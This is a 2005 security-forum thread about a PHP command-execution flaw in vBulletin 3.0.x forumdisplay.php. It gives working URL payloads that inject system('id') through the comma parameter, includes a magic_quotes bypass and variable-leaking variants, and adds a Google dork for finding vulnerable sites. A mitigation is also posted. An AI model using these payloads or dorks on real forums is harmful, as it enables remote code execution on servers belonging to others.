Waraxe IT Security Portal
Login or Register
November 16, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 89
Members: 0
Total: 89
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other software -> Vbullettin 3.0.x forumdisplay.php PHP command Execution
Post new topicReply to topic View previous topic :: View next topic
Vbullettin 3.0.x forumdisplay.php PHP command Execution
PostPosted: Wed Feb 16, 2005 8:41 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




AL3NDALEED Founded that within the following conditions:

Quote:

* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

* 4th condition : magic_quotes_gpc must be OFF SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 Wink))


Is it possible to inject code as in the following example:

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

Anyway the forth condition can be bypassed like this (nesting formulas - Credit to pokley aka pokleyzz - Not Tested)

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id

Or evaluating the value of variables:

forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname

So if you are a web master:

Solutions:
----------------
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers'])
$comma = '';


Last edited by Zeelock on Thu Feb 17, 2005 8:44 am; edited 2 times in total

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
j
PostPosted: Wed Feb 16, 2005 10:38 pm Reply with quote
SteX
Advanced user
Advanced user
Joined: May 18, 2004
Posts: 181
Location: Serbia




http://www.milw0rm.com/id.php?id=820

_________________

We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
-------------------------------------------------------
View user's profile Send private message
Yep, is the same
PostPosted: Thu Feb 17, 2005 10:06 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




As you can see is just a GET req the one by AL3NDALEEB.

The problem lays in Magic Quotes. These protect the innocent against this exploit.

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
PoC
PostPosted: Thu Feb 17, 2005 11:48 am Reply with quote
pokleyzz
Regular user
Regular user
Joined: Feb 17, 2005
Posts: 6




http://www.securityfocus.com/archive/attachment/390667/2/
View user's profile Send private message
Great Pokleyzz, In tune on Time
PostPosted: Thu Feb 17, 2005 12:57 pm Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




Always in time!


I'll test it this evening in my dummy localhost VBullettin Site

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
PostPosted: Thu Feb 17, 2005 8:28 pm Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




Is very hard find servers they have these functions
in my opinion only 15 % all VB (3.0.x-3.04) installed in all world is vulnerable

Code:
* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.
View user's profile Send private message Visit poster's website
PostPosted: Thu Feb 17, 2005 10:53 pm Reply with quote
pokleyzz
Regular user
Regular user
Joined: Feb 17, 2005
Posts: 6




Quote:

* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

searching something like this `inurl:"forumdisplay" +"Currently Active Users" +"vBulletin Version 3.0.3"` in google will help find one.

You can create the third condition by login as registered user and view the forum.
View user's profile Send private message
PostPosted: Fri Feb 18, 2005 9:41 am Reply with quote
Alkaen
Regular user
Regular user
Joined: Feb 16, 2005
Posts: 5
Location: Bahrain - Aldair




Thanx dude
View user's profile Send private message Visit poster's website
Vbullettin 3.0.x forumdisplay.php PHP command Execution
www.waraxe.us Forum Index -> All other software
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.046 Seconds